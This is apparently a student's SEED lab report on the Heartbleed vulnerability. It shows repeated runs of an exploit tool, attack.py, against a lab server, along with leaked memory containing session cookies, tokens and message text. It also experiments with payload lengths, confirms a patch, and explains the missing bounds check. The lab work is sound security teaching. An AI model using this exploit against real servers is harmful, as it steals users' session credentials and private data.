

Here the terminal shows that I send a `subject=hello`, and `body=hello world`.

```
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
..@.AAAAAAAAAAAAAAAAAAAAABCDEFGHIIJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: elggperm=2Le0dx67KMgEwlrMop6KDj1hNF3NULbv; Elgg=hsr7e0m084kok1gtgir2l3jq3
Connection: keep-alive

...j..mA+.i.-u(G.:|.....: keep-alive

]6)/.....P.....nt-Type: application/x-www-form-urlencoded
Content-Length: 119

__elgg_token=fC8a694650d81052e97ef767c35d62a4&__elgg_ts=1604922069&recipient_guid=408subject=hello&body=hello+world1941..rZ..[.
..?L....=
```

Task2

Question 2.1

Here is length of 0x15b.

```
[11/09/2020 04:38] seed@ubuntu:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 0x15b

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
..[AAAAAAAAAAAAAAAAAAAAABCDEFGHIIJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/compose?send_to=40
Cookie: .....*.hi..S
```

Here is length of 0x50.

```
[11/09/2020 04:38] seed@ubuntu:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 0x50

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
..PAAAAAAAAAAAAAAAAAAAAABCDEFGHIIJKLMNOABC...
...!.9.8.....5.....
.....S.....|
```

Here is length of 0x17.

```
[11/09/2020 04:38] seed@ubuntu:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 0x17

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
...AAAAAAAAAAAAAAAAAAAAABC=..l....2}aQ.R.
```

From the pictures above we see that as the length variable decreases, the response packet content length decreases.

Question 2.2

The boundary length is 0x16.

```
[11/09/2020 04:32] seed@ubuntu:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 0x17

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
...AAAAAAAAAAAAAAAAAAAAABC..HT..=4dLT...6

[11/09/2020 04:32] seed@ubuntu:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 0x16

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
```

Task3

3.1

It doesn't work.

```
[11/09/2020 05:13] root@ubuntu:/home/seed/Desktop# ./attack.py www.heartbleedlabelgg.com
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
```

3.2

In the surrounding of `hbtype = *p++;`, it misses the boundary checking during the buffer copy.

Solution:

Just check the boundary checking of the length next to `hbtype=*p++`, if the length is more than the packet length, then end this process.

The code is in the lecture ppt.

I think Alice and Bob's comments make sense.

The Heartbleed bug got its start from improper input validation in the OpenSSL implementation of the TLS Heartbeat extension. Due to the missing bounds check on the length and payload fields in Heartbeat requests, coupled with trusting the data received from other machines, the responding machine mistakenly sends back its own memory data. [Refer to <https://www.synopsys.com/blogs/software-security/heartbleed-bug/>].

I think Eva's comment is not so reasonable, because the length in the packet may be used in another standard of communications defined previously. If it were removed, then many standards might be modified.